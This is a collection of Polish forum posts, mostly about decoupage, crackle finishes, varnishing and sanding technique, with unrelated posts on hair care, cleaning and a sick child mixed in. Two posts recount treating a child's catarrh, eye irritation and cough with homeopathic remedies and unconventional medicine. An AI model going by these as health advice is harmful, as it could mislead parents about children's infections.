rady rowno )) ja nakladam gabka tylko na umyte butelki i wszystko sie trzyma
az milo serwetki nigdy mi sie nie marszczyly - moze za malo gruntu? ja daje
duzo, zeby cala porzadnie namokla i troche naciagam zeby nie bylo zmarszczek
"na mokro" - potem jak wyschnie jest ok a przy ponownym nasiaknieciu lakierem
tez nic sie nie dzieje (jeszcze mi sie nie zdarzylo zeby sie serwetka
pomarszczyla na czymkolwiek od lakieru...).

...co najmniej trzykrotnie,należy pamiętać,że po położeniu każdej warstwy
(oprócz ostatniej)należy przeszlifować stalową wełną 000 a następnie
odkurzyć,przetrzeć LEKKO wilgotną szmatką żeby zebrać resztki pyłu.Jeżeli nie
lubisz mebli mocno błyszczących użyj lakieru satynowego-słabiej odbija światło
i wszelkie nierówności są mniej widoczne. Teraz krzesełko-nie piszesz,że
błyszczy czy jest politurowane więc przypuszczam, żę jest woskowane.Ach jeszcze
muszę na chwilę wrócić do stolika ,piszesz są malutkie wybrzuszenia od gorącego
kubka.USUWANIE pęcherzyków powietrza:małe pęcherzeusuwa się prasując okleinę
gorącym żelazkiem(przea mokrą szmatkę) a następnie docisnąć do podłoża aż do
utwardzenia roztopionego starego kleju.Wracamy do krzesła.Zakładam że było
woskowane lub olejowane.Aby przywrócić mu blask najpierw należy usunąć z
powłoki wszelkie woski(i brud) znajdujące się w pastach którymi być możę były
konserwowane i czyszczone.w tym celu należy powierzchnie woskowane przetrzeć
czystą szmatką zwilżoną terpentyną.Zmyte powierzchnie należy przemyć czystą
wodą i osuszyć suchą szmatką.Kiedy krzesło wyschnie szlifujemy wełną 000
następnie olejujemy lub woskujemy.W związku z tym że to będą początki do
krzesła proponuję wosk w płynie Starwaxu (dostępny w marketach ... Cdn.

decoupage-prosba
witam serdecynie!
mm ogromna prosbe, jestem tu nowa, ale chcialabzm prosic o pomoc w kilku kwestiach
1. jak sie robi cieniowanie
2. jak uzywac lakieru do spekalin, tego na mokro
wiem, ye nie moyna dwa rayz na nim malowac farba, a jak poprawic gdz cos nie
wyszlo
pryeprasyam za literowki i brak ynakow zapytania, ale moja przegladarka
fiksuje (mozilla)
z gorz dyiekuje i pozdrawiam
h.

To nie od lakieru sie podnosi, to juz było przed połozeniem lakieru a lakier to
tylko uwidocznił.Niektore farby tak maja, ze bez powodu lubia podnosic brzegi
kraka. Najprawdopodobniej jednak na kraka połozyłas za rzadka farbę i za długo
pozostawała z nim w mokrej reakcji albo krak nie był wystarczajaco suchy przed
nalozeniem farby.

Medium dwuskładnikowy Antik Rayher....
Nabyłam wczoraj, razem z patynami tejże firmy, lakierem błyszczącym Glanz-
Lack oraz lakierem transparentnym firmy bodajże KNORR Prandell. I mam
pytanie, bo zakupu dokonałam okazyjnie ale skoro już mam, to chciałabym
poeksperymentować.
1.Crak dwuskładnikowy Antik- jak nakładam? Najpierw maluję farbą akrylową
przedmiot, potem serwetka lub papier lub własny malunek i potem Antik I, na
całą powierchnię czy mogę tylko w wybrane miejsca?, kiedy wyschnie (z
doswiadczenia podpowiedzcie jak długo trzeba czekać?)nakładam Antik II, czy
tak? Potem czekam jak wyschnie- jak długo? i mogę wypełniać? A potem wszystko
lakieruję poliuretanem?
2. Patyna, czy mogę spękania wypełniac patyną? Nakładać ją pedzelkiem czy
wacikiem i nadmiar ścierać od razu czy zostawić na trochę i potem ścierać na
sucho czy na mokro?
3. Jaki efekt uzyskam po nałożeniu lakieru Glanz- Lack, tak naklejono cenę że
zdarła się z opisem, nakładam go po zakończeniu nakładania Antik I i II i po
wypełnianiu?
4. Jaki efekt uzyskam po nałozeniu lakieru transparentnego Knorr prandell i
czy ten lakier używa się do wykańczania prac czy jakoś inaczej?

Wybaczcie za ten przydługi zestaw pytań ale na razie używałam tylko craka
jednoskładnikowego a zakupy poczyniłam trochę przypadkiem i nie chciałabym
zmarnować przedmiotów i tych produktów. Będę wdzięczna za pomoc w ogarnięciu
tematu.

Najpierw polz kilka warstw lakieru, bo jak zaczniesz za wczsnie
szlifowac, to powycierasz dziury, zwlaszcza przy brzegach motywow.
Do szlifowania uzywam drobniutkiego wodoodpornego lakieru (600),
pierwsze warstwy delikatnie na sucho, ale tak, zeby dokladnie
zmatowic powierzchnie w roznych kierunkach. Jak lakieru jest troszke
wiecej, to szlifuje zmoczonym papierem, matowi sie doskonale i nie
zostaja rysy.
Jezeli malujesz drewniany przedmiot, to nie szlifuj od razu golego
drewna, bo po pomalowaniu wstaja wloski. Odkurz i odtlusc, pomaluja
podkladowka czy bejca, na bejce warstwa lakieru i wtedy, najlepiej
drobniutkim papierem na mokro przeszlifuj wzdluz slojow, wtedy
powierzchnia bedzie idealnie gladka i nie bedziesz ryzykowac, ze jak
nakleisz serwetke to przy szlifowaniu pozniej powylaza ci kropeczki,
gdzie motyw sie zetrze, na tych sterczacych wloskach.

Wydruk atramentowy, tylko pryskać spray'em?
Czy też moczyć? Trochę się powtórzę, ale może już bardziej składnie:

Wyczytałam, żeby uniknąć rozmazywania - trzeba spryskać po wydruku (tak?)
fiksatywą lub lakierem w spray'u (jakaś jest między tym różnica? Specjalny
skład?) I dalej już go oczywiście nie moczyć?
Ja niestety mam tylko atramentówkę i dostępu do wydruku kolorowego na
laserówce brak - jak wy to robicie?!) I po to tak dużo pryskać, by zmoczyć
całkiem tym preparatem? Dedukuję, że to ma też zapobiec późniejszemu
marszczeniu??? Tylko potem co? Spryskuję po wydruku celem utrwalenia na
całkowicie mokro i czekam aż wyschnie... ?
Wyjaśnijcie proszę dokładniej, bo zachodzę w głowę, jak to zrobić dobrze, by
się udało :-(

No i czy jak wydrukuję na normalnym papierze to da się ten motyw wtopić???

Będę wdzięczna za rady, bo okropnie zdeterminowana jestem. Mam znajomych z
Indii, którym chciałabym podarować puzderko z motywem słonia i ornamentem.
Wyszukałam sobie ładne wzory i kompozycje, a tu klapa!!!

I jeszcze jedno pytanie: czy ścierać już po pierwszej warstwie nałożonego
lakieru, czy jednak odczekać te 5 nałożeń? I dopiero zacząć wtapianie... ?

Mysza

Prawdopodobnie nic sie nie stanie, ale moze sie zdarzyc, ze lakier
nie pokryje powierzchni rownomiernie tylko bedzie sie zbieral w
kropelki czy smugi(u mnie tak czasem bywa, ale z innym lakierem).
Jak lekko przyszlifujesz(drobniutkim papierem), to lakier lepiej
zlapie, ale powierzchnia bedzie tez znacznie gladsza.
Lakieruje wodnym poliuretanem, raczejpilnuje, zeby nie szlifowac za
wczesnie, bo lakier w dotyku suchy, ale niedostatecznie utwardzony
zlazi jak guma, jezeli praca lezy kilka dni bez ruszania, to zawsze
delikatnie szlifuje, zwykle mokrym papierem, czasem, jak mam jeszcze
malo warstw lakieru, to taka smieszna welna (jakies wlokna szklane,
sypie sie to na wszystkie strony, klaki wlaza wszedzie, ale matowi
super bez scierania zbyt grubej warstwy).

Zaczynamy od momentu powstania spękań.Nakładamy naprawdę niewielką ilość
porporiny i wcieramy wacikiem kosmetycznym tak długo aż praca będzie czysta a
spękania będą wypełnione.Na cracka nakładamy lakier poliuretanowy (nie do końca
wiem jak jest z nitro ale to chyba to samo, w każdym razie na bazie
rozpuszczalnika) i nie mieszamy już z akrylami, lakierujemy dalej śmierdzielem.
Po prostu akryl wszedł w reakcję z poliuretanem.W odwrotnym kierunku tzn na
akryl poliuretan jest ok.Aha, sotille nie lubi wody, więc ostrożnie z
wycieraniem na mokro bezpośrednio po nim

nie lubie lakierowac prac które są nieskońćzone wiec, lakieruje juz po
wszystkim. cieniuję i domalowuję tło na kleju.no czasem zdaża mi sie
miedzyczasie psiknac lakierem w spraju.
wazne zeby klej wysechl.co do cieniowania bejca. na niepolakierowanej pracy
musisz uwazac zeby motyw papierowy badz serwetkowy nie wciagnal bejcy bo
powstana brzydkie plamy i zacieki. natomiast co do widocznych bialych sladow.
nawet farba jak bedziesz pasac w tym samym miejscu na swiezej powierzchni to
bedza biale mazy zostawac, bo to co namalujesz, kolejnym mokrym pacaniem po
prostu wycierasz. najlepiej pocieniowac, odstawic, pocieniowac, odstawic. wtedy
nei bedzie sie zmywac to co namalowalas. chyba ze miedzy warstwami cieniowania
psikniesz lakierem szybkoschnacym w spraju, to masz pewnik ze nic sie nie
rozmarze. to dobry sposob dla poczatkujacych jesli nie maja z farbami
wyczucia:), jesli bys miala jeszcze jakies pytania, to smialo na maila, albo
moze jakies spotkanko??? slyszalam od Martuszki ze chcesz sie spotkac i
czekamy na wolny weekend:)

pozdrawiam
Jadwiszka

Zapewniam Cię że nie jest to tylko twój problem ja również walczę z paprokami,
szczególnie wiodocznymi na jasnym tle, przestalam się tym przejmować po prostu.
Przecieram prace na mokro przed lakierowaniem a i tak po jakimś czasie ( jak
wyschnie zazwyczaj )znajduję pyłki niewiadomego pochodzenia np czerwone lub
niebieskie choć w okolicy nie ma nic w tym kolorze.

zielone gile, czerwone oczka, chrypa- jak działać?
Witam ponownie,
znów sie zaczeło. 3 tygodnie temu wrócilismy znad morza polskiego.
Bylam z dzieciaczkami tam przez 7 tygodni. Od maja Olek ( 4,5 lat)
nie chodził do przedszkola. MInęły problemy z mowa nosową, nie
chorował, nad morzem rewelacja. Wrócilismy i poszedł do przedszkolo.
Po tygodniu pojawiła sie mowa nosowa, tak jakby tam w zatokach cosik
mu znów siedziało, od 2 dni oczka troszkę zaczerwienione, rano
zielony gęsty katar, wczoraj na wieczór mega chrypa. Oczy rano
trochę sklejone i czerwone, kaszel mokry tylko rano. Chce mnie szlak
trafic bo juz sama nie wiem o co chodzi. U nas w bramie maluja,
lakieruja, skrobią, tynkują, szlifują itd od 2 tygodni. Kurzu masa.
testy z krwi panele wziewne nie wykazaly nic. Pani z apteki homeo-
bardzo pomocna podsunęła by podawac Marcuriusa 30 ch z wody 5 razy
dziennie na ten zielony smark. Thymulinke 9ch wg schematu. Jak
myslice co to z tymi oczkami i ktarem jest. Przeszkole, alergia???
w tamtym roku bylo to samo, tendencja do zapalenie spojówek i
zielonych gili.
Wczoraj podalam na tą chrypę Malie, Archangelike - Wali i rano
Rhinalergii bo myslalam ze to alergia. Podawac tego mercuriusa i
zobaczyc co i jak??? Moze mu splynie to co tam siedzi.
7 tygodni z jodem i nic???? paranoja.

> Smieszne jest to, ze komus przeszkadzaja mokre wlosy u wspolpasazerow - chyba
jestescie przewrazliwieni :D

Chyba są bardzo przewrażliwieni, skoro na hasło "piłowanie paznokci w pociągu"
wyskakują z pedicure przy ludziach, goleniem nóg na basenie, publicznym
pierdzeniem i rozpytaniem lakieru do włosów w autobusie.:)

Ja nie piłuję publicznie paznokci, ale nie przeszkadza mi gdy ktoś to robi, o
ile nie strzepuje na innych.:) W Anglii kobiety normalnie malują się w metrze i
nikt nie zwraca na to uwagi, no ale tam możesz być czarny, ubrać się cała na
różowo-zielono czy być bardzo gruba i też nikt nie będzie się gapił, a u nas
ktoś taki byłby sensacja na całą ulicę.

bez przesady, czytanie gazet kiedy mały śpi- ok. ale napisałam- nie
wychodziłam w porze drzemki, dziecko nie spało. zajmowanie się
raczkującym, wszędzie włażącym dzieckiem z mokrymi od lakieru
pazurami jest nierealne (chyba,że dziecko jest wrzucone np. do
łóźeczka, czego akurat ta konkretna sztuka dzidziusia nienawidzi)

To ja wam powiem, najpierw szlifujecie - jak macie szlifierkę oscylacyjną to
najlepiej użyć, będzie szybciej. Jak nie to papier ścierny i dokładnie matowicie
- jest dużo roboty przy szczebelkach. Zresztą jak użyjecie szlifierki to i tak
szczebelki trzeba ręcznie papierem zmatowić bo szlifierką nie da rady tych
drobnych miejsc dokładnie przetrzeć. Potem na mokro kilka razy ścieracie, żeby
nie było pyłu. Jak wyschnie to malujecie farbą akrylową do drewna a po dobie
lakierujecie lakierem ekologicznym wodnym.

Gdyby wlozyl pampersa, to zapewne szyba bylaby sucha :))

Chodzi generalnie, mniej wiecej o to, ze w okresie deszczowym, reklamy za
wycieraczkami samochodowymi to:
1. Wyrzucanie pieniedzy w bloto - kto czyta mokre sklejone papiery z reklamami?
2. Nieefektywnosc
3. Tzw wqrf wlasciciela pojazdu.

Gdy standardowy sposob reklamowania agencji towarzyskich wykorzystuja duze
koncerny, to cos tu jest nie tak. Generalnie od pracownika agencji towarzyskiej
nie potrzeba wiekszego ilorazu inteligencji od pierwotniaka, ale od kogos, kto
podejmuje decyzje w duzym koncernie, majacym kase na analizy, focusy, itp, to
jednak troszke przewidywania, ze papier (a jakze, bardziej luksusowy,
lakierowany i wiekszy od agencji towarzyskich) wlozony przed, w trakcie, po (na
mokra szybe) lub przed jutrzejszym deszczem (bo dzisiaj juz padal) to strzal
chybiony calkowicie.

Użytkuję już ok 6 lat drewniany blat w łazience zrobiony z litego drewna
dębowego z tym, że wierzchnie warstwy są klejone bo blat jest b.duży i
półokrągły. Wykonał mi go dobry stolarz i dobrze zabezpieczył drewno, dużo
warstw podkładu i lakieru i do tej pory odpukać nic kompletnie się nie dzieje a
wygląda super.
Przecieram mokrą ścierką - błyskawicznie się czyści takie drewno lakierowane a i
jak mokrawo czasami jest to nic się nie dzieje.

Też tych niebieskich z biedrony, na mokro, do wszystkiego. Jak już
są trochę ściorane i zaczynają np. na tv zostawiać paprochy to
przecieram po wyschnięciu taką niebieską z viledy, ona to zbiera.
Podobnie robię z lakierowanym mdfem na meblach w kuchni, tylko że od
razu po wytarciu na mokro biedroną wycieram do sucha viledą.

Pati
nasz komplet jest stabilny, krzesełko się nie wywraca, nie jest za wysokie, jest
drewniane i nie przeszkadza to w niczym! jest lakierowane nawet to w kolorze
naturalnym, jedzenie Dan dostaje na podkładce a wszystkie nieczystości a nawet
dzieła artystyczne namalowane na blacie ścieram mokrymi chusteczkami BEZ żadnego
problemu i NIC się nie wżera... ;)))

Silvii & Dan

a moje dziecko nie wiem czy alergiczne czy nie
od drugiego miesiąca życia lakierowane czerwone policzki, stopniowo
przeszły same ok 2 roku życia
chorowanie normalne, ale bez antybiotyków
ok. 6 roku też taki kaszel nocny suchy, nie mógł złapać oddechu,
lekarz w przychodni bezskuteczny (bez antybiotyku), kaszel czym tam
próbowałam leczyć sama, przeszedł w napadowy nad ranem, lekko mokry,
póxniej po wysiłku (bieganiu, jeździe na rowerze itp)
nigdy nie robiłam badań na alrgię
poszłam do innego lekarza, przeszło po tygodniu.Nie będę pisać do
jakiego bo jest to medycyna niekonwencjonalna.
na pewno gdybym poszła do alergologa to finała wiadomy
przestraszyło mnie przed tym krokiem właśnie forum Alergie, choć na
innych bywam od dawna.dziecko mam zdrowe
co było przyczyną kaszlu ? nie wiem.W domu nic nie zmieniłam,
posciel mamy różną i z pierza i "sztuczną", kwiatków też nie
wyrzucałam, dywany są nadal.
pzdr

Gość portalu: pechowa napisał(a):

i ZAWSZE jak mam mokry lakier na
> pazurach (oczywiście jest zazwyczaj na dnie torby).

:)))) No, jasne. To chyba należy do "konstrukcji" lakieru. Mleko wykipi, jak się odwracam, kiedy patrzę na rondelek, powierzchnia nawet nie drgnie. Trwa to rok.
Kocie kuwetki zostaną użyte ZARAZ po wyszorowaniu.
Różne aerozole mają zapchaną pompkę, kiedy próbuję je używć właściwie (OD siebie), ale jak skieruję je Do siebie, żeby zobaczyć o co chodzi i nacisnę - piękny strumień trafia mnie w oko.

Wystarczy, że potuszuję dolne rzęsy - zacznę kichać zanim tusz wyschnie.

Piękne upinanie koka jedną klamrą zdarza mi się przed wejściem pod prysznic, ale nigdy gdy chcę wyjść gdzieś z upiętymu włosami.

Niedaleko mojej uliczki jest ruchliwa ulica. Jest jedyną drogą wydostania się od nas. Kiedy wsiadam do auta NIC nią nie jedzie. Wystarczy, że zbliżam się do skrzyżowania (a muszę pojechać w lewo), pędzi po niej tysiąc samochodów...

Klucze znikają przybajmniej raz w tygodniu, ale jest to ten dzień, kiedy najbardziej się spieszę.

moje tez sa sianowate szczegolnie po tej piance do wlosow kreconych
kurcze tego dnia byly wlasnie niespecjalnie sklejone

wydje mi sie jednak, ze najlepiej wygladja po piance welli bardzo
mocno utrwalajacej (z niebieskim paskiem) albo taka z ciemno rozowym
z dodtakiem lakieru czy nablyszczacza ale wtedy sa naprawd sztywne
jak druciak
teraz testuje pianke garniera zielona do kreconych, niby sa lekkie i
nie sklejone ale takie jakis byle jakie
duzo chyba zlezy tez od tego w ktorym momencie nakladamy pianke
wlosy nie moga byc zbyt suche ani zbyt mokre
a cha i najlepij suszyc powolutku mniejszym strumieniem z suszarki
wtedy sie nie pusza
ale kto ma na to czas ;)

a moze stopy w domu milas spuchniete?

ja tez mam jedne baleriny (tekstylne) ktore musialm rozbic mlotkiem
(tak sobie radze z butami, ktore mnie cisna :)
lakierowane buty mjaja to do siebie ze sa raczej stywne wiec moze
uda sie je rozchozic na mokra skarpete czy jak...

żeby nie ciemniało to podobno jest specyfik, co się nazywa decapon.
Słyszałem o nim w kontekście kupowania materiałów na lakierowanie
podłogi, ale miałem wrażenie, że bardziej mówili o nim w sklepie
jako specyfiku zabezpieczającym ciemnienie parkietu PÓŹNIEJ, np. od
słońca, utleniania itp., niż jako środku przed efektem "mokrego".
Idź do sklepu, gdzie znajdziesz jakiegoś gościa co się zna na tym,
co sprzedaje i jego wypytaj się bardziej szczegółowo, czy DECAPON
robi to, o co Ci chodzi.
Powodzenia.

nigdy nie zadałam od gosci zdejmowania butów, uwazam to za
nietakt..., mają tak boso siedzieć? jak ktos koniecznie chce to
zdejmuje..., jak w zimie ktos ma kozaki i buty na zmiane to zmienia,
kapci goscinnych nie mam i nie daję... mieszkam na parterze.
podłogi teraz są lakierowane, dwa posuniecia mokrej szmaty
załatwiaja sprawe ewentualnych plam...

Ja też przyłączam się do pytania. Mam te "chol..." koty zwłaszcza na
schodach (bukowe, lakierowane, pełne), są codziennie. Nie mam
dywanów, firanek ani zasłon. W większych ilościach zbierają się
jeszcze w dużej łazience i w pralni po kątach. Dprowadzają mnie do
szału. Nawet codzienne przecieranie na mokro niewiele daje, tyle, że
są systematycznie zbierane, ale w żaden sposób nie jestem w stanie
zapobiec temu zjawisku.

decu na talerzach - odwrotnie - pomocy
zabieram się do decu na talerzu (od spodu). Proszę was bardzo o kilka
praktycznych rad:
wiem że wszystko robi sie odwrotnie tzn. najpierw nakleja sie motyw od spodu
a następnie maluje farbą i zabezpicza lakierem
ale:
1) talerz należy odtłuścić płynem do mycia naczyć ??
2) motyw moczymy i nakładamy klej po stronie "prawej" i przyciskamy - tak
zrobiłam na spodku i w niektórych miejscach motyw jakby się świecił - nie
wiem z czego to wynika - czy nie równo nałozyłam klej czy też za słabo
namoczony a może żle przyciśnięty motyw? a może trzeba najpierw talerz pokryc
lakierem albo cały klejem?
3)czy można na talerzu cieniować? czy rozcięczona farba akrylowa będzie sie
trzymac talerza???
3)widziłam na niektórych waszych talerzach spękania - wydedukowałam, że
najpierw od spodu kładziecie kraka dwuskładnikowego i wypełniacie spekania,
potem naklejacie motyw a potem farba??? ale czy przed motywem lakierujecie po
kraku - mam watpliwośći czy można na krak smperii nałozyć klej i mokry
papier - ten krak nie lubi wody? jak to praktycznie rozwiązujecie?

może jeszcze macie jakieś tajemnice warsztatu, z którymi zechcecie się
podzielić

z góry dziękuję
robaczek

Malowałm płytkę terakoty.Potraktowałam ja tak jak inne rzeczy tzn.farba
akrylowa,druga warstwa akrlu( robiłam przecierkę), serwetka i lakier,tylko
więcej warstw.Co prawda nie lezy na podłodze tylko robi za dekor ale wszystko
jest ok.Mam tez zdekupażowany mały stołeczek na którym wiecznie ktoś stawia
nogę jak siedzi przy stole wię ciągle go przecieram na mokro i nic sie nie
dzieje.Wydaje mi się że musi być więcej warstw lakieru aby bez problemu można
przecierać na mokro.

Pilne do Greglis i innych ekspertek!
Kasiu byłam u Ciebie na kursie (crakle) w sierpniu i od tego czasu wyleciało
mi zgłowy parę Twoich cennych wskazówek. Dopiero teraz zabrałam sie za 2
składnikowego kraka i ... zepsułam ramkę. A to było tak:
na pomalowaną na kremowo powierzchnię nakleiłam wzór serwetkę potem
polakierowałam kikoma warstwami lakieru akrylowego i po kilku dniach
nałożyłam step 1(Stamperia) a po ok. 3 godz step 2 odczekałam 2 dni i
zabrałam sie za wcieranie tego specyfiku brązowego, który nabyłam u Ciebie. I
tu się zaczeły schody. Nie pamiętam jak to miało być najpierw kolistymi
ruchami wtarłam ten płyn w spękania cała ramka zrobiła sie brązowa. potem
chciałam to zetrzeć wacikiem suchym ale się nie udało ramka ciągle była
brąowa pomogło zmoczenie wacika ale w miejscu gdzie trzymałam palec (był
wilgotny czego nie zauważyłam) krak zaczął odłazić!!!
Cała praca na marne. Moje pytania:
jak ścierać ten brąz na mokro czy na sucho? może wziełam go za dużo na wacik?
Jak uzyskać większe spękania moje były drobniutkie. Na opakowaniu jest
napisane żeby pomiędzy krakami było 30 min odstępu u mnie ten czas był
dłuższy (dziecko chciało "do mamy"). Czy po skrakowaniu zabezpieczyć to
wszytko lakierem? Uff to chyba na tyle, proszę o odpowiedź bojkę sie
zniszczyć następne prace

spróbuj przykleić serwetkę na ten lakier zamiast na klej - ostatnio odkryłam, że
haftgrunt, który jest do decou, to nic innego jak lakier akrylowy właśnie
(dokładnie taki sam, jaki za 1/6 ceny kupiłam dawno temu w sklepie budowlanym.
Ja robię tak: klej-lakier - nie za grubo - serwetka - dociskam palcami, potem
wygładzam delikatnie prawie suchym pędzlem. Jak podeschnie, smaruję cienka
warstewkę lakieru i znowu wygładzam ewentualne zmarszczki prawie suchym pędzlem.
Nie nakładam za pierwszym razem kleju na serwetkę, bo zawsze rozmaka i się drze.
Doświadczeni mówią, żeby na serwetkę machnąć klejem, a potem przyłożyć wilgotną
(ale nie mokrą) flizelinę i dociskać wałkując wałkiem (takim fotograficznym) -
podobno rewelacja, ale jeszcze nie testowałam, bo mam daleko do sklepu
krawieckiego

drugi sposób to: smarować klejem, serwetka, klej na wierzch, na to flezelina
wilgotna (nie mokra) i wałkować wałeczkiem do tapet (podobno rewelacja, ale ja
jeszcze nie próbowałam). Ja smaruję klejem do decou (to jak piszą na opakowaniu
klej i lakier w jednym, w rzeczywistości poprostu lakier akrylowy, moim
zdaniem), raczej cienko, przykładam serwetkę, delikatnie wygładzam palcami,
potem tym pędzlem, którym rozprowadzałam klej, ale prawie suchym. Jak wyschnie,
jeszcze raz przeciągam tym klejem, wygładzając ewentualne zmarchy. Jak motyw
jest duży, pierwsze klejenie robię na raty. Teraz akurat kupiłam Haftgrunt
Nerchau, żeby go przetestować, ale wcześniej używałam lakieru akrylowego
kupionego w sklepie budowlanym i nie widzę różnicy.
Na lakierze akrylowym można normalnie farba akrylową malować, cieniować itp.

Jeśli masz tak szczegółowe pytania, to wszelkich odpowiedzi technicznych na
temat decou (i innych twórczych zajęć ) możesz szukać tu:

www.cafeart.pl
(wejdż w Forum, Techniki,Decoupage itd.)

bitum pewnie mozna terpentyna, ale nigdy nie uzywalam.jesli wypelniam lacca to
scieram mokra szmatka, jak nie chce zejsc, poniewaz nie mam terpentyny wiec
mocze wacik w laccy i maziam w opornym miejscu jeszcze raz, lacca rozpuszcza
lacce i po bolu , na to oczywiscie raz jeszczze mokra szmatka.
czemu probowalas zmyc dopiero po dobie?wyschlo Ci na amen!!! ja lacce po 5
minutach zmywam! ale zaznaczam ze bitum nie uzywalam,chociaz to pewnie podobne,
na bazie olejnych komponentow.
co do lakieru spirytusowego, mam inny, pieknie sie blyszczy, super do
wykonczen, noi mozesz go bez obawy klasc na kraka. pedzle mylam w
rozpuszczalniku uniwersalnym, mozna kupic w plastyku rozcienczalnik spirytusowy-
drozej.najtaniej jest pociąć gąbke zmywakowa i nia pomalowac lakierem, po
uzyciu wywalic, nie trzeba myc pedzli

aha.mozesz spokojnie mocno mokrą szmatką trzec medium, bo ono raczej oporne na
wode i sie nie zmyje tak jak sottile.

wszystko Ci zniknie jak nałozysz znowu lakier, nie ma obawy. tylko przetrzyj
szmatką, żeby te opiłki sprzątnąć z pracy.
co do zapaćkania powierzchni.wez szmatke mokrą i przetrzyj prace. na medium
mozesz trzec nawet mocno. nie odejdzie. albo spróbuj mleczko do demakijazu.
powinno pomoc. ja np zabrudzenia na sottile wycieram wlasnie mleczkiem do
demakijazu wodoodpornego działa rewelacyjnie. cienie są fajnie tylko czasem
sie wypłukują przy lakierowaniu. porporina owszem to supe wynalazek, tak samo
jak lacca scurente- ale tątrzeba oswoic praktycznie wszystkie wypełniacze
brudzą, trzeba je po prostu potem z wierzchniej powierzchni usunąc i pozostawic
tylko w spekaniach

Jajo mozna lakierowac - tak jak i bombki- etapami- jest to średnio
wygodne niestety, bo trzeba szlifowac miejsce łączenia- góry z
dołem,
o ile bombki mozna do lakierowania powiesic, z jajami jest problem.
ja w drewniane wbijałam małego gwozdzia i za niego wieszałam na
sznurku,
Jajo- wydmuszka ma dziurę conajmniej jedną- moze sprobuj owinąc
długi pędzel ręcznikiem papierowym i nadziej jajo na trzonek pędzla=
będziesz trzymac za pędzel, a jajo mozesz polakierowac w całosci,
mokre odstawic do jakiegos słoika, np.

żywicę szklącą cięzko Ci będzie okiełznac na wypukłej powierzchni-
jest rzadka i bardzo spływa, mozna poczekac az zgestnieje w
pojemniku , w którym ją rozrobisz i dopiero nakladac na jajo, ale
nie jest to wygodne i duzo z tym zabawy

idealnie gładki efekt mozna osiągnąc przez wielokrotne lakierowanie,
szlifowanie miedzy kilkoma warstwami i uzycie zwyklych lakierow- np
z budowlanego.
bardzo dobre efekty mozna uzyskac werniksem- medium szklącym idea
maimeri.

jeszcze co do sposobu lakierowania- warto kupic chociaz jedną stópkę
pod jajo= stawiasz jajo do lakierowania na stopce i lakierujesz
prawie całe- za wyjątkiem powierzchni przylegającej do stópki- po
wyschnieciu- w miejscu gdzie konczy sie lakier - lekko szlifujesz,
odwracasz jajo do góry nogami, stawiasz na stopce i znowu
lakierujesz. i tak w kólko ze 20 razy

Ostatnio malowałam komódkę w łazience, na biało farbą akrylową do mebli Duluxa
(są inne kolory), gąbkowym wałkiem. Przed malowaniem lekko zeszlifowałam
powierzchnię, przetarłam mokrą szmatką z pyłu, a później benzyną ekstrakcyjną
(mam nadzieję, że dobrze napisałam, taka przezroczysta)w celu odtłuszczenia, no
a później już malowałam . Nie stosuję lakieru, nie lubię, jak się błyszczy, a
farba po wyschnięciu da się wycierać na mokro - no ale co kto lubi. Powodzenia.

opamieraj sie bo zostaniesz wkrotce łysa
prostownica pali wlosy bo to ogromna temperatura
ja ucieklam kiedys z fotela u fryzjera kiedy babka spryskala mi cala
glowe tona lakieru do wlosow - az byly mokre chwycila za prostownice
i uslyszalam piekielne 'psssssss' i moim oczom ukazal sie dym nad
glowa!
nie wierze, ze super odzywki zastosowane przed i po prostowaniu
odbudowuja wlosy - one tylko maskuja siano

panele moga byc drewniane, wiec wcale nie sztuczne. Drewniane panele nadaja sie
do cyklinowania i lakierowania. W przypadku plytek trzeba wziac pod uwage, ze
mokre sa sliskie, ze jesli cos tlukacego na nie spadnie, to nie tylko nie ma
szansy na przetrwanie upadku, ale same plytki sa w stanie mocno ucierpiec
(wyszczerbic sie, uszkodzenia glazury). Wymiana uszkodzonej plytki to nie jest
latwa ani czysta praca, ale kazdy lubi co innego.

jak miałam krótke to faktycznie męke miałam z włosami, generalnie układam na
grubą szczotkę(średnica chyba z 6 cm) na kładam pianki troche na dłonie taka
kulka rozmarowuje na całe i potem na mokre włosy(jak troche wyschną gorzej mi
się układają) potem zaczesuja tek jakbym chciała by fryz wyglądał i podsuszam,
grzywkę odrobinę do góry potem susze "wichurą" czyli na wszystkie strony, z
tyłem jest trudniej bo musi być uniesiony, więc na szczotkę przy samej głowie i
suszę by się do góry unosiły i tak większość włosów z tyłu, potem "wichura" i
jes super, dodam, że mam boska fryzjerkę, króra tak obcina włosy że jest super,
wystarczy wyszuszyć, ja tylko sobie je właśnie podnoszę, a i wysuszyc
na "wichurę" głową w d ół tez mozna, tylko pianka obowiązkowo, po
wszystkimspinam włosy spinką duża motylkiemi lakieruję, żeby za bardzo nie
odstawały po bokach... głupi brzmi ale to mój sposób

kiedyś miałam kijowe fryzjerki, zero wyobraźni, a tą mi poleciła Szwagierka

Testuje!- dlugie
Mam juz mopa.
Zalety kazdy widzi w tv,
-czyszczenie goraca para jest higieniczne,
-jak sie zalozy gruba nakladke, to podloga szybko schnie.
-fajnie bucha para :)
Wady sa takie:
-wcale nie czysci fug! sa ciemne jak byly!
-podloga sie lekko lepi po umyciu
- mialam nadzieje na usuniecie kilku starych plam z podlogi, ale niestety :(
- z drewnianej, olejowanej podlogi nie usuwa tlustych plam, moze po paru razach?
-wyczyscilam stary cuchnacy materac pokryty niezdejmowalnym materialem i plamy
zniknely (raczej z herbaty niz te tluste, ale zapach dalej kiepski mimo
spryskania plynem. Mysle jednak ze po paru razach moze zejdzie
- w niektorych miejscach zostawia biale smugi na drewnie. Niby pisza, zeby za
mocno nie nacikac, bo sie takowe pojawia, ale ja nie naciskalam mocno

Ogolnie boje sie tego uzywac na drewnie, moze na lakierowanym lepiej to wyglada.
Cos trzeba zrobic, zeby kafelki sie nie lepily po czyszczeniu - moze trzeba
czyms polac podloge. Nie wiem tez po co jest tych 10 cienkich nakladek, przy
nich podloga jest mokra i brudna, daja 2 grube z mikrofibry i te dzialaja.
Ktos tu pisze zeby kupowac w sklepie, ale towary zakupione w sklepach nie
podlegaja zwrotowi, wiec moze lepiej zamowic. Z tym, ze na zamowienie czeka sie
miesiac, bo jest ich podobno duzo.
Nie wiem, jak zalozyc ten trojkat do dywanow :(
Wole jednak to niz zwyklego mopa - do lazienki i kuchni.
Pozdrawiam

witam

właśnie zakupiłam i jestem zadowolona bardzo .
Bardzo dobrze sprawuje się zarówno na kaflach jak i parkiecie
lakierowanym . Mam w swumie ok 80m2 do mycia . Nie zostawia mi
żadnych smug ani zacieków . Parkiet jest po myciu suchszy niż przy
